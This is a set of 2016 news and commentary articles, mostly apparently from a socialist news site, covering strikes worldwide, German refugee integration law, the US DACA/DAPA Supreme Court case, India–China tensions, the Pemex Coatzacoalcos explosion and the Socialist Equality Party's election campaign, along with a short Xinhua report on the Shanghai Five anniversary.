The strike involves all printed and electronic publications, as well as the government's Secretariat General of Information and Communication. Television and radio broadcasters from both the public and private sector are to strike for 48-hours beginning today.

Pension reforms are being submitted to parliament as part of an agreement with the Troikathe European Union, European Central Bank and International Monetary Fundto make further cuts in public spending. Discussions are continuing between Greece and its international lenders. Next week Eurozone finance ministers are expected to announce Syriza has met their requirements.

Portuguese dockers walk out

Portuguese dockers in the ports of Lisbon, Setubal and Figueria da Foz began a two-week strike at midnight Thursday. The strike is over a new proposed collective bargaining agreement, which would lead to a two million euro cut per annum in the wage bill by introducing two new lower wage rates.

Protest march by Romanian miners

On Monday, Romanian miners completed a seven-day 200-mile march when they arrived in the capital, Bucharest. The march is to protest plans to cut 800 mining jobs. The state-owned Oltenia Energy Company intends to cut the jobs after posting a 200 million loss for 2015. On their arrival in Bucharest, delegates from the National Quarry and Energy trade union, which has no policy to oppose the job cuts, met with government officials.

Walkout by school janitors in Glasgow, Scotland

Over 100 janitors employed in primary schools in Glasgow began a three-day strike Wednesday. They had taken previous strike action in March and have been boycotting certain duties. The members of Unison are employed by Cordia, an arms-length company operated by Glasgow City Council.

Currently the janitors are not entitled to a Working Context and Demands Payment, which pay an additional 500 to 1,000 a year. It is paid in acknowledgment of heavy and dirty duties performed by some council staff, but the janitors are not covered by the provision in spite of having to undertake such tasks.

UK rail conductors vote to strike

Train conductors working for Govia Thameslink Railway that runs Southern Rail services, covering the southeast of England, have voted overwhelmingly to go on strike on an 80 percent turnout. They are members of the Rail, Maritime and Transport union (RMT).

Three 24-hour strikes have been announced, each to begin at 11 a.m. on April 26, May 10 and May 13. The limited walkouts are in response to Southern Rails proposal to introduce driver-only trains.

Conductors will no longer operate the doorsunder the proposals drivers will have responsibility for this. The role of conductors will be revamped and they will be re-assigned as on-board supervisors. Rail staff are concerned about the safety issues of driver-only trains.

French power workers in dispute

The CFDT and the CGT unions at the electric grid operator, RTE, have planned a one-day strike on May 3 against plans by the French government to sell 50 percent of its stake in the power company EDF. RTE is a unit of EDF.

According to EDF the plan to sell 50 percent of the stock to investors is to help finance the companys project to build nuclear plants at Hinkley Point in the UK.

French rail staff set to strike next week

Four rail unions are to hold a countrywide one-day strike next Tuesday. The strike is in response to changes in working conditions.

Drivers on Irish rail system in unofficial action

Irish Rail, the company that runs the DART rail system around the Dublin area, is threatening to take legal action against the National Bus and Rail Union (NBRU) and Services Industrial Professional and Technical Union (SIPTU).

The company says the refusal of drivers to give eight new train drivers cab familiarisation as part of their training is a breach of contract and represents unofficial industrial action. Irish Rail is currently in negotiations with NBRU and SIPTU over pay. For its part NBRU states cab familiarization of new drivers is purely voluntary and drivers have a right to refuse not to carry out such training.

Lay-off threat to Dublin tramworkers

Letters have been sent out by management at Transdev, which operates the Dublin tram system, LUAS, to all its 250 staff threatening to lay them off if they continue to take action in pursuit of a substantial pay rise. They have already held various one- and two-day strikes and tram drivers began a work-to-rule on Sunday.

Strikes due this coming weekend are to go ahead. Other strikes are planned throughout April and May. The letter states staff will not be able to return to work unless they agree to carry out all duties. SIPTU, the union over LUAS staff, said an all-out strike is a possibility as yet no decision has been taken to hold a ballot.

Middle East

Strike threat by Israeli municipal staff

On Monday, municipal staff in Tel Aviv declared a labour dispute and announced they will come out on strike on May 1. They cite a list of issues including the appointment of a new chief sanitation officer.

Oil prices fall as Kuwaiti oil workers end action

Kuwaiti oil workers ended their three-day strike on Wednesday. World oil prices have fallen partly in response to the end of the strike, but mainly as a result of the failure of oil producers meeting last weekend in Doha to agree to freeze output.

The oil workers went on strike over plans by the government to cut wages and benefits for employees in the state-owned oil industry. Their strike cut oil production in the country by half.

Africa

Burkina Faso bus workers fight penalties

Bus workers are continuing their strike at Burkina Fasos public bus company, demanding the dropping of penalties against co-workers. The strike began on April 8 and brought bus transport to a halt.

Eight workers, including the union rep were sanctioned for calling the strike. Management said they would review their action against the workers they hold responsible.

Nigers oil refinery workers halt distribution

Fuel distribution was brought to a near halt by a strike affecting Nigers oil refineries last week. The three-day strike by the refinery workers, which began on April 13, was over wages and working conditions. Workers have taken industrial action on several occasions over the discrepancy in conditions of local labour and Chinese employees at the Soraz refinery.

The refinery is a joint operation between the Niger government and the majority shareholder, the China National Petroleum Company, which refines oil for the national market, with exports to Mali and Burkina Faso. Production was down to around to one-tenth of normal production prompting the Oil Ministry to say the shortage could be covered from reserves.

Nigerian power workers protest over mass sackings

Employees of Nigerias Ikeja Electricity Distribution Company (IEDC) have gone on strike, shutting down power supply. Ikeja is the state capital of Lagos State, with a population of over 860,000. Workers blockaded the company headquarters and other premises demanding the reinstatement of 400-sacked workers.

The company sacked its employees in a restructuring program in March with the National Labour Convention threatening a strike. The company said the rationalisation was based on the falling productivity of certain employees. The deputy president of the National Union of Electricity Employees (NUEE) was among the causalities of the sackings.

Similar reasons have been given for sackings at the Jos Electrical Distribution Company (JEDC), which was picketed on Monday by NUEE members. Fifty workers have lost their jobs. The company has told the union they will not be taken back on and if they proceed with their action they would seek a court order.

Members of the National Union of Electricity Employees are also picketing the offices of the Transmission Company of Nigeria (TCN) in Abuja State. The protest, which began on Monday, is over the non-payment of redundancy money to 3,000 employees when the public, Power Holding Company of Nigeria, was privatised in 2013. The union has barred its members from occupying the company premises while appealing to the national government to resolve the matter. The PHCN was broken up into a series of 18 successor companies: six generation companies and 12 distribution companies covering all 36 Nigerian states.

Nigerian hospital workers hold sit down strike

Workers at the University of Ilorin Teaching Hospital have begun a sit down strike in defence of maintaining public facilities at the hospital. The health professionals union is complaining that elements of the hospitals activities are being farmed out to private contractors.

Contract consultants are entering the hospital and providing their own diagnostic equipment, under circumstances where in-house equipment has broken down and warranties have expired.

Legal action taken against South African Pikitup strike

South Africas refuse collection strike in Johannesburg ended April 9, but no information on a wage settlement has been revealed as of April 20. The regional South African Municipal Workers Union secretary expressed his satisfaction with the deal.

The refuse workers were demanding a pay rise from R6, 000, (US$420) to R10, 000 (US$703) per month, and the removal of the managing director. The union has been hauled in front of the court and found guilty of contempt and the general secretary given a suspended sentence.

Comair South Africa workers locked out

Striking South African airline workers are continuing their dispute over pay with Comairs Kulula.com. The airline workers who normally operate out of British Airways airports have been locked out. The lockout was implemented after the staff refused the company offer of a 22.5 per cent pay rise over three years.

Their pay demand of 35 per cent over three years has so far been rejected, as the company recruits new staff and encourages passengers to check in online. Wage negotiations with Comair, a British Airways franchise holder, have been going on since last November.
The leaders of the grand coalition government in Berlin agreed on the key features of an integration law for refugees last week.

The planned legislation does nothing to help integrate refugees into German society. Instead, it is an attack on basic democratic rights. For years, the war on terror has served as a pretext for strengthening the security apparatus both inside Germany and abroad. Now the alleged integration of refugees is being used to expand the countrys low wage sector and the use of forced labour, and as a pretext to abolish fundamental rights such as the freedom to choose where one lives and what one does for a living.

Beginning with the heading fostering and requiring, every line of the 15-point paper reeks with the stench of authoritarianism. The fostering means in practice that refuges will be restricted, controlled and threatened with the loss of their residence permits. The legislation exposes the fraudulent character of the official welcoming culture in Germany, because the planned measures will systematically marginalize refugees.

The so-called integration courses are presented as an important way of teaching refugees the German language, and about the history and legal system in Germany. However, these courses are only offered selectively and they serve, at the same time, as a cudgel for pressuring refugees and putting pressure on them.

Refugees from Syria, Iran, Iraq and Eritrea will have privileged access to integration courses. Asylum seekers from Afghanistan, for example, will be excluded, although 77 percent of their applications for asylum were accepted last year, according to the human rights organization ProAsyl. However, they are not viewed as having good prospects of remaining because the German government is working intently with the puppet regime in Kabul on a deportation agreement.

Access to integration courses is so important because permanent residence documents are only issued when refugees can demonstrate that they have integration achievements. In the past, recognized refugees normally received a permanent residence permit automatically after three years. Now, recognized asylum seekers must be able to provide evidence of linguistic competence, vocational training or a secure job, and pass a background check that shows whether they represent a danger to public safety.

Moreover, asylum seekers will be threatened with the loss of social services if they violate their duty to cooperate with integration measures. However, the integration measures have neither been specifiedsince they do not yet existnor have the refugees been eligible for them up until now.

In reality, the demand for integration courses far exceeds what federal and state governments have made available. While the Federal Interior Ministry wants to offer 300,000 places in integration courses each year, the need is twice as high as this. According to the German government, the integration courses are already at 120 percent of capacity.

However, not only the number, but also the quality of courses lags far behind what is needed.

The number of hours of instruction provided to reach a B1 linguistic competence, which is adequate for a simple understanding, is capped at 600. The same amount of instruction is provided to all refugees, regardless of whether they are academics accustomed to lifelong learning or illiterate individuals who have next to no schooling. As a rule, the teaching staff works for a meagre fee, which has to cover all social security contributions and, at the end of the month, amounts to scarcely more than a starvation wage.

However, instead of expanding and improving the course offerings, the maximum number of students per class will be increased from 20 to 25. This will lower the quality of instruction and make it even more difficult for refugees to achieve the required level of linguistic ability.

The orientation course, which covers German history and the German legal system, will now have 100 instead of 60 lessons. In the future, the orientation course will contain content appropriate to the emphasis on teaching values. Interior Minister Thomas de Maiziere spelled out what this means, demanding that everyone who wants to live in Germany must know German culture and accept our basic values. I expect respect, politeness and readiness to help from everyone.

He implies that refugees lack respect and readiness to help. At the same time, the deterrence policy of the German government is responsible for the mass death of refugees in the Mediterranean, and this same government is seeing to it that people who are fleeing from war and persecution are held in deportation prisons and deported back to their countries of origin.

The federal government also wants to exploit the refugees in order to expand the low wage sector. It is planning to create 100,000 jobs for asylum seekers that will pay around 1 per hour. The example of the German 1 jobs shows that such forced labour measures almost never lead to a transition to the normal job market. In fact, this is not at all what the coalition government intends.

The remarks of Bavarian Social Minister Emilia Muller (CSU) underscored its real purpose when she tried to explain the customs of the German working world to refugees. In a racist tone, she explained that in this way asylum seekers would learn important values like punctuality, responsibility and conscientiousness, on which our working world is based.

In Bavaria, where the forced employment of refugees is already being practiced, asylum seekers who reject the work assigned to them are punished with cuts to social services. The human rights organization ProAsyl called the job market program authoritarian integration pedagogy for refugees.

Only a section of the refugees will benefit from the promised access to vocational training support. Moreover, the supposed legal guarantees of residence during the training period are a sham. No actual residence permit will be provided, only a certificate for the temporary deferment of deportation. And even this will be taken away if the refugee breaks off training because of a shift in job aspirations. Career guidance and preparations measures are not part of the plan.

The planned integration law and its actual effects are most sharply expressed in the planned residence condition. According to the paper, a more equal distribution of refugees is required in order to ensure integration and to prevent social flashpoints. A violation of this residence condition leads to noticeable consequences for those who are affected.

This tightened residence condition on recognized asylum seekers was initiated by the Green Party Minister President of Baden Wurttemberg, Winfried Kretschmann. This condition is not simply counterproductive. It is illegal. Both Article 26 of the Geneva Refugee Convention and the European asylum right, spelled out in Article 33 of the qualification guidelines of the EU, guarantee recognized refugees the right to freedom of movement.

The forced resettlement of refugees into structurally weak regions, which will tear apart families and social networks that provide assistance in job searches, vocational training and continuing education and visits to the authorities, will drive recognized asylum seekers into isolation and exclusion and increase their dependence on social services .

The government claims that migrants in large cities create ghettos and parallel societies and French banlieues are consistently brought up as a example. The social flashpoints in the cities are, however, not a consequence of ethnic concentration, but of the impoverishment of broad layers of the population and the polarization of society into rich and poor.

The French banlieues are not distinguished by their ethnic homogeneity, but by their miserable infrastructure, as migration researcher Oltmer put it. There is no access to transportation, no opportunity for consumption, no work, which leads to the isolation of the residents of these satellite cities.

There are no ghettos in Germany, stated Oltmer. On the other hand, poverty is rapidly growing in the large cities. In Berlin, the Parity Association counted more than 727,000 people under the poverty line in 2013, more than 21 percent of the entire population. In Cologne, almost every fifth person lives under the poverty line. In both cities, the section of the population living in poverty has grown dramatically since 2006, in Berlin by 25 percent, in Cologne by more than 30 percent.

It is not refugees or migrants who are responsible for this, but the massive low wage sector, the expansion of casual work and the drastic decrease in social services as a consequence of the Hartz laws. Social flashpoints are a direct consequence of the antisocial policies of the German government, which now wants to hold the refugees responsible and make them a scapegoat.

Chancellor Angela Merkel (Christian Democratic Union) said the fact that the federal government is viewing integration as a legal task was qualitative progress. Social Democratic Party head and Vice Chancellor Sigmar Gabriel called the paper a historic step, since for the first time in the history of the republic, Germany has an integration law. However, the legislative plans of the grand coalition have nothing to do with integration. Instead, the law serves to attack and divide the entire working class.
On April 18, the United States Supreme Court heard oral arguments in Texas v. United States, a legal challenge brought by Texas and 25 additional states against two executive programs that would defer the deportation of four million undocumented migrants.

The programs in question are the Deferred Action for Childhood Arrivals (DACA) and Deferred Action for Parents of Americans (DAPA), which were announced in 2012 and 2014, respectively.

The lawsuit alleges that DAPA and a 2014 expansion to DACA are unconstitutional violations of the presidents authority under Article II of the Constitution and encroach on Congresss power to legislate under Article I. The program was struck down by the Fifth Circuit Court of Appeals, which also issued a stay on the executive orders, meaning that no immigrants are currently able to apply for coverage while the case is pending.

As a preliminary matter, the challenge is founded on a pseudo-legal leap of faith. In order to file suit, Texas and its fellow challengers must prove that they have the standing to sue. To do so, they must show that they (1) suffered injury, (2) that the injury was caused by the conduct complained of, and (3) that the injury will be redressed by a favorable decision. Here, Texas alleges that its injury consists of spending millions of dollars to make identification cards for those migrants who comply with the application process and whose applications are granted.

There is profound historical irony in the state of Texas challenging the right of migrants to remain in the US due to the cost of printing ID cards. The US effectively robbed Texas from Mexico in 1845 after provoking an uprising of American slaveholders with the help of the reactionary Jacksonian Democrat, Samuel Houston. Those tens of millions of migrants who have made the journey in the last decades have done so to escape conditions of violence and poverty caused by a century of US imperialist intervention and exploitation.

Beyond this, the states standing claim has no legal merits. States only have the standing to challenge federal law when their challenge is based on defending state law. Since immigration is a purview of the federal government, the states right to challenge federal action is severely limited and not applicable in this case.

The states also challenge the orders on the grounds that they overstep the presidents power and encroach Congresss right to legislate. However, the Supreme Court ruled in the well-known Youngstown Steel v. Sawyer case that the president is only barred from issuing executive orders where Congress has explicitly passed legislation contradicted by the order. Where Congress has remained silent and especially where prior congressional action is in harmony with the executive order, the presidents powers are broader.

To prove it has not violated the Youngstown rule, the Obama administration has gone out of its way to show that it is not halting the deportation of those who would be DACA or DAPA eligibleit is merely deferring their eventual deportation. Obama administration Solicitor General Donald Verrilli told the Court Monday that there is no way we could give deferred action to migrants with a criminal history, migrants captured while attempting to cross to the United States, or migrants who are not detained at the border but are recent arrivals.

The Obama administration appealed to the Court by bragging of its role in mass deportation of migrants and their families.

Justice Samuel Alito asked Verrilli about a hypothesis where the President said, you know, there was a time when we had open borders in the United States, and I think thats the right policy, so were just not going to remove anybody. Who could challenge that?

Verrillis response was: Well, obviously, were doing more or less the opposite. Verilli said that it would be unconstitutional for the president to offer legal status to all migrants, because if you just decide that youre not going to enforce the law at all, then there may well be a cause of action to challenge it there, andbut thatsthats a million miles from where we are now.

Indeed, DAPA is limited only to certain migrants with children who have satisfied multiple residency requirements and have no criminal record. The DACA expansion removes an age restriction in the 2012 DACA order.

DAPA and DACA do not provide any benefits and do not grant migrants legal immigration statusthey simply postpone their deportation. Undoubtedly, millions of migrants and their families are hopeful that they can breathe even a temporary sign of relief. But the executive orders can be revoked at any time, by either Obama or the winner of the 2016 election. As Verrilli stated in oral argument: What [lawful presence] means in the immigration world is not that you have a legal right to be in the United States, that your status has changed in any way. That you have any defense to removal. It doesnt mean any of those things, and it never has.

Immigration advocates were surprised by the tone of the questions at oral arguments, indicating that an unfavorable decision is possible when announced this summer. The death of Antonin Scalia will not change the outcome, since five votes are required to overturn the Fifth Circuits decision. A four-four split means the executive orders will not go into effect.

Chief Justice John Roberts and Justice Anthony Kennedy will determine the outcome of the decision. Both ruled against Arizonas SB 1070 and upheld the ability of the federal government to regulate immigration. During oral arguments, Kennedy hinted that immigration law would be turned upside down by executive action on immigration while also refraining from siding with the states on the standing issue. For his part, Roberts was hostile to Verrilli on the standing question.

The Court is weighing its decision in the midst of an almost unprecedented climate of anti-immigrant demagogy. Donald Trumps fascistic proposal to deport all undocumented migrants would likely require the establishment of military rule over cities like Los Angeles, Dallas, San Diego, Phoenix, Miami and Chicago. A vast infrastructure, including detention camps, would be required to carry out such a plan. The fact that such a proposal is aired by a leading candidate is an indictment of the entire US political establishment, including the Democratic Party.

Both Democratic candidates, Hillary Clinton and Bernie Sanders, sing praise for President Barack Obamas immigration policy. Seven years into his term, Obama has deported over two million undocumented migrantsfar more than any other president in US history.

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BISHKEK, April 22 -- The jubilee event to mark the 20th anniversary of signing the Treaty on Deepening Military Trust in Border Regions among "Shanghai Five" countries was held here Thursday.

The event brought together Ambassadors of China Qi Dayu, Kazakhstan Ayimdos Bozzhigitov, Russia Andrey Krutko, Tajikistan Rahimov Olim Sobirovich as well as Kyrgyz Deputy Foreign Minister Dinara Kemelova and other guests.

During the ceremony, the Chinese ambassador said that the signing of these agreements speeded up the process of solving border disputes between China and its four neighbors, and transformed the border line into a belt of friendship.

"Today these two treaties play a constructive role in preserving stability and prosperity in Eurasia that received general approval," Qi said.

In June 2001, on the basis of the Shanghai Five, the Shanghai Cooperation Organization (SCO) was born.

Qi said that over fifteen years of development, trust continues to grow among SCO member states, pragmatic cooperation has been deepening in all areas, and the organization's influence on regional and global arenas has been steadily growing. Meanwhile, the international and regional authority of the organization is increasing.

"Mutual trust, mutual benefit, equality, consultations, respect for diversity of civilizations are the essence of the Shanghai spirit, which became the core ideology and behavior of the SCO," said the Chinese ambassador.

For her part, the Kyrgyz deputy foreign minister said her country attaches great importance to these treaties and has actively taken part in the implementation of them.

"The Shanghai Spirit closely unites our countries and we have to develop it," she said.

Meanwhile, the Russian ambassador said the Shanghai Spirit "is prevailing in our countries. Russia makes every effort for the successful implementation of mechanisms of the Shanghai Five and SCO."

China, Kazakhstan, Kyrgyzstan, Russia and Tajikistan signed the Treaty on Deepening Military Trust in Border Regions on April 26, 1996 in Shanghai, and the Treaty on Reduction of Military Forces in Border Regions on April 24, 1997 in Moscow.

The SCO consists of six countries -- China, Kazakhstan, Kyrgyzstan, Russia, Tajikistan and Uzbekistan.
The Indian armed forces view China, Pakistan, and the Naxalite movement inside India as major threats, Indias Chief of Air Staff Marshal Arup Raha declared at a high-level Indian armed forces seminar last week. This warning further demonstrates that Indias ever-more pronounced alignment with Washingtons Pivot to Asia, a military-strategic offensive aimed at isolating and subjugating China, is inflaming military tensions across the region.

Raha said Chinas growing influence in the Indian subcontinent is a major security challenge for New Delhi and this is being factored into Indias foreign and defence policies. He pointed to tensions along the Indian-Chinese border in the Himalayas and Chinas longstanding but fast-growing ties with Indias main regional rival, Pakistan, as key concerns.

Raha said, China has increased its economic and military ties with all our neighbours. Rapid infrastructure development is taking place in the TAR (Tibet Autonomous Region). The worlds highest airfield at Daocheng Yading; the highest railway line from Xiniang, Qinghai province to the TAR capital; the development of the Gwadar port [in Pakistan] and the [Chinese] economic corridor through [Pakistani-held Kashmir] and Pakistan; the development of roads in TAR up to the Indian border; and increasing economic and military ties with Sri Lanka, Bangladesh, Nepal, Bhutan and Myanmar are all strategic moves by China to contain India.

Of course, Rahas portrait of the strategic landscape ignored a long series of aggressive Indian moves. These include a massive expansion of both its nuclear and conventional military forces, the raising and deployment of a new mountain anti-China strike-force and, most importantly, Indias emergence as a front-line state in the US drive to strategically isolate, encircle and potentially wage war against China.

During the past two years of BJP rule, India has repeatedly supported the USs stoking of the South China Sea conflict with Beijing, expanded bilateral and tri-lateral military-strategic cooperation with the USs most important allies in the Asia-Pacific, Japan and Australia, and accelerated plans to co-produce and co-develop advanced weapons systems with the US.

Last week, New Delhi announced it will soon finalize an agreement allowing the US military to use its ports and air bases for resupply and recuperationwhich, the governments claims notwithstanding, will invariably result in the stationing of US military personnel on Indian soil.

Buoyed by US arms and support, India is aggressively seeking to assert its interests across South Asia and in the Indian Ocean, bullying the regions smaller states, from Nepal to the Maldives, and stoking confrontation with China and nuclear-armed Pakistan.

On Pakistan, Raha said support of the Pakistan Army to the militant organisations and continuous interference in the internal affairs of [Indian-held] Jammu and Kashmir will remain a source of friction  Despite the grim internal situation, Pakistan has managed to strike a balance in its relations with China and USA. It has steadily built up its nuclear and ballistic missile capability with covert assistance from China and North Korea while continuing to receive monetary support and conventional weapons and aircraft from both USA as well as China.

While a military conflict between India and China could arise out of a fourth war between India and Pakistan, Raha also pointed to tensions between India and China along their common border. In 1962 the two countries fought a war over their border, which remains contested to this day.

Incidents of border stand-off in the North, issuance of paper visa to the residents of Arunachal Pradesh (AP) and claiming of Aksai Chin and part of AP as part of China have diluted the (Sino-Indian) agreement of five principles, Panchsheel, signed way back in 1954, said the Indian air chief.

All but accusing China of supporting the Maoist Naxalite insurgency in India, Raha warned that external and internal threats to India are increasingly impossible to separate. Repeating a characterization popularized by the former Congress Party-led government, the Indian air marshal said, In the recent past Naxalism has emerged as the single biggest threat to Indias internal security and has assumed serious and threatening propositions.

The international geo-strategic alignment in the Indian subcontinent that is emerging from the US pivot to Asia is explosive. Washingtons pressure on India to adopt an ever more strategically hostile posture to Chinas economic penetration of the Indian subcontinent and its concerted campaign to implicate New Delhi in the South China Sea dispute are pushing India towards a conflict with China and Pakistan, which would likely draw in the United States, also.

It is also inflaming various regional and ethnic disputes that are rooted in the reactionary communal partition of the Indian subcontinent the rival factions of the colonial bourgeoisie implemented in 1947-48, as part of the deal under which South Asia became formally independent from the British Empire; chronic poverty and massive social inequality; and the incitement of ethnic and communal divisions by the various ruling elites as a means of dividing the working class.

Over the last several years, Indian security officials and geo-political analysts have repeatedly suggested that the Chinese government is supporting and aiding the Naxalites.

One Indian China analyst, D. S. Rajan, writes that Chinese web sites are very kind to Maoist rebels in India, publishing reports with a bias in favour of the Communist Party of India (Maoist), which stands banned in India. Separately, papers from Chinese scholars analysing the implications of the growth of Indian Maoists, are also being brought out. Without the knowledge of the Chinese authorities, such assessments would not be coming.

Indian media and officials have also accused China of arming ethno-separatist insurgents inside India, particularly groups along the China-India border. The Chinese have promised to provide weapons and logistics to a new (alliance of nine ethno-secessionists groups) as they want to keep things boiling in the northeast in view of their claim on the state of Arunachal Pradesh, a source told the Hindustan Times last year.

The paper alleged that Chinese intelligence was working with insurgent groups in the Manipur Valley in northeast India. It also charged that Beijing is supplying weapons to insurgent groups in the northeast via Myanmar so that they threaten Indian troops posted along the border with China.

These allegations show clearly that Sino-Indian tensions are becoming intertwined with the US-China conflict, adding to each an explosive new dimension.

Pakistan, meanwhile, is publicly charging that India is covertly supporting the longstanding nationalist-separatist insurgency in Balochistanits impoverished, mineral-rich, western provinceand is encouraging Balochi nationalists to disrupt the building of the $46 billion China-Pakistan Economic Corridor (CPEC). Announced last year during a visit of Chinese President Xi to Islamabad, the CPEC would link the Arabian Sea port of Gwadar and industrial parks across Pakistan with western China through a railroad, highway and pipeline network.

New Delhi bitterly resents the economic shot in the arm the CPEC represents for its arch-rival Pakistan. But the CPEC also has huge geo-strategic implications. Were it to be successfully completed, the corridor would provide Beijing with a means of partially offsetting US plans to impose an economic blockade on China by seizing control of maritime chokepoints in the Indian Ocean and South China Sea.

Last month, Pakistan reported that it had captured a RAW (Indian intelligence) agent, whom it has identified as Kulbhushan Yahdav, in Balochistan near the Afghan border. New Delhi has denied that Yadhav is a RAW agent, but concedes that he is a former Indian naval officer.

In an April 12 public address in Gwadar, the head of Pakistans military General Raheel Sharif publicly charged India with seeking to thwart the CPEC. I would like, said Sharif, to make a special reference to Indian intelligence agency RAW that is blatantly involved in destabilizing Pakistan. Let me make it clear that we will not allow anyone to create impediments and turbulence in any part of Pakistan.

Pakistan has already announced plans to raise a special Gwadar Security Force to protect the Chinese engineers who are supervising construction in Gwadar and the port installations as they come on line.

The Balochi insurgents, who seek to exploit grievances with the Pakistani state over mass poverty and ongoing repression, are meanwhile appealing for Washingtons support and offering themselves as proxies in US imperialisms anti-China war drive.

This author also recommends:

India-US military cooperation robust and deepening

[14 April 2016]

US Congress to debate motion on self-determination for Pakistani Balochistan

[24 February 2012]
Thirteen oil workers were reported dead and another 136 injured in the wake of Wednesdays massive explosion at the Pajaritos Petrochemical Complex in the southern Gulf port of Coatzacoalcos. Tensions rose sharply Thursday, as hundreds of family members and coworkers of those still missing confronted heavily armed Mexican army troops backed by trucks mounted with machine guns deployed outside the facilitys entrance.

Pemex acknowledged that the death toll could still rise. The state-run oil company reported that 13 of the injured were in critical condition, some with severe burns to their respiratory systems from toxic gases, and put the number of missing at 18. The workers and their relatives, however, insist that this is a gross underestimation, with local media reporting as many as 80 missing workers.

The massive explosion was heard in towns as far as six miles away, and a towering plume of smoke rose over the plant, which manufactured vinyl chloride from highly flammable and toxic chemicals. The compound is used in the manufacture of PVC.

Survivors reported seeing workers shattered bodies thrown into the air by the force of the blast, walls toppled and windows blown out. Initially, residents of the surrounding area were told to stay inside their homes because of the danger posed by toxic gas. On Thursday, officials claimed that the danger had passed.

Jose Antonio Gonzalez Anaya, the director general of Pemex, issued a statement promising a thorough investigation of the disaster and to determine culpability, if there is any.

Pemex is presenting all information in relation to the explosion, and, by the estimation of those seeking lost loved ones, doing it very slowly and badly. However, the plant itself was run by a private corporation, Mexichem, which gained control of the facility three years ago. This was on the eve of President Enrique Pena Nietos announcement of his so-called energy reform, hiving off Pemex enterprises to private capital. Mexichem, whose stock prices fell sharply Thursday, has remained largely silent on the tragedy.

The magnitude of the explosion and the lack of communication with dozens of workers provoked among their families the sensation of being tricked, abandoned and frustrated, of being victims of an attempt to hide what had really happened, commented local journalist Jose Luis Ortega Vidal.

Among the missing are employees of half-a-dozen different private contracting firms that were carrying out maintenance at the facility.

An employee of one of these firms, Alberto Diaz Lopez, told the local newspaper NotiSur that a chlorine gas leak had been discovered, but that management had refused to evacuate workers from the area.

We asked them if we could leave, but they told us that no, that this would be under control; when they said this they brought in electricians and welders, so that at the moment of the second explosion all of them were inside, the worker said. He estimated the number of workers at the blast site at over 100.

There is a long history of fatal incidents at Pemex. The explosion is the worst disaster since 2013, when a gas explosion at the companys headquarters in Mexico City left 32 dead. A year earlier, an explosion and fire at a Pemex gas facility in the northern state of Tamaulipas killed 30.

Just last February, a worker at the Pajaritos plant was killed, and in the same month two workers were killed and eight injured in an offshore oil platform fire in the Gulf of Mexico.

Gonzalez Anaya, the Pemex director general, had just returned from a trip to the US for meetings with Wall Street financiers, rating agencies and oil company executives in a bid to privatize as much of the state-run oil company as possible, bidding it out to foreign investors and foreign energy conglomerates.

The company has been hard hit by the collapse in global oil prices. Production has fallen steadily for over a decade, declining from 3.4 million barrels in 2004 to 2.1 million barrels today. Earnings before taxes plummeted 124 percent last year, from 481 billion pesos in 2014 to negative 128 billion pesos in 2015.

The Pemex director made clear during his New York trip that the Mexican authorities are seeking private companies to take over majority interests in virtually every phase of oil production, including exploration, production, refining and transportation.

It has already reached a $2 billion deal with the private equity firms KKR, whose executives include former CIA director David Petraeus, and First Reserve Corp.

Asked how the disaster in Coatzacoalcos would affect these efforts to woo foreign investors, Gonzalez Anaya dismissed the question: It was an accident, and when there are human losses it makes it very regrettable, but I believe that one thing has nothing to do with the other.

This is a lie. The privatization process and the destruction of Pemex jobs, working conditions and worker safety go hand-in-hand.

Pemex has carried out a series of sweeping cutbacks, putting over 10,000 jobs on the chopping block, attacking workers pensions and contracting out work in an attempt to cut losses and make the company more attractive to foreign investors. Gonzalez Anaya is preparing another 100 billion pesos ($5.77 billion) worth of cost cutting for this year. The inevitable effect is the degeneration of facilities and increasingly unsafe conditions for Mexican workers.

Workers and family members gathered outside the gates of the devastated chemical plant Thursday turned their wrath against the van of an official in the National Oil Workers Union of the Mexican Republic (STPRM), breaking out its windows, flattening its tires and trying to turn the vehicle over. When another union van arrived on the scene, workers pelted it with rocks and chased it away.

The anger is well placed. The STPRM, a corporatist union apparatus tied closely to the government and the ruling Institutional Revolutionary Party (PRI), has been a full and well-paid partner in ripping up pension rights, jobs and conditions of Pemex workers.

The unions corrupt president, Carlos Romero Deschamps, who is also a PRI senator, received some $21 million in payouts from the government in return for services rendered.

Part of those services is provided in the operations of the so-called Joint Commission on Safety and Health, which acts as a loyal servant of management, suppressing workers complaints and paving the way for each new accident and new death.

The criminal conditions confronting Pemex workers are reproduced on the other side of the US-Mexican border, with US oil workers suffering a total of 1,189 fatalities between 2003 and 2013. Thousands of oil refinery workers struck in February 2015 against health and safety conditions, including dangerous levels of mandatory overtime, and in defense of wages and benefits. That struggle was sabotaged and betrayed by the United Steelworkers union.
To take part in the SEP campaign, visit the election web site: sep2016.com.

The Socialist Equality Party has selected Jerry White as its presidential candidate and Niles Niemuth as its vice-presidential candidate in the 2016 elections. White and Niemuth will run on a socialist, anti-war and anti-capitalist program in the interests of the working class in the United States and around the world.

Jerry White, 56, is the US labor editor of the World Socialist Web Site. He joined the Workers League, the predecessor of the Socialist Equality Party, in 1979, while working at United Parcel Service and attending the City University of New York. For nearly four decades, as a writer and activist, Jerry has played a major role in the struggles of the working class. He was the SEPs presidential candidate in 2008 and 2012.

Niles Niemuth, 28, was raised in a working-class family in Wisconsin and became a member of the SEP during the 2011 mass protests against budget cuts imposed by Wisconsin Governor Scott Walker. Niles joined the staff of the WSWS after completing his masters degree at the University of Wisconsin Milwaukee, where he specialized in African-American history. Niemuth has written extensively on US social conditions, working-class struggles and the governments assault on democratic rights.

The 2016 elections are being held under conditions of intensifying international and domestic crisis. The shadow of global military conflict looms over the elections. The vast majority of American workers and youth are experiencing a relentless decline in their standard of living. While the richest one percent controls the economy, most Americans struggle to make ends meet, millions live in outright poverty, and a substantial percentage of children go hungry.

Neither the Democratic Party nor the Republican Party has anything to offer the great majority of the American people except war, political repression and worsening social conditions. They are the parties of the Wall Street banks, the massive corporations, the Pentagon and the intelligence agencies. Regardless which of these two parties wins the November election, the next government will be the most reactionary, repressive and violent in American history.

The Socialist Equality Party candidates will use the campaign to advance the socialist alternative to capitalism, raise the political consciousness of workers and youth, oppose all forms of national chauvinism, racism and anti-immigrant baiting, fight to unify all workers in the United States, throughout the Americas and internationally, and prepare the working class for the coming struggles.

The election program of the SEP is centered on three essential demands:

1) Oppose US militarism! Stop the drive to World War III!

The SEP campaign is breaking the conspiracy of silence among all the official candidates and the media over the war plans of the United States.

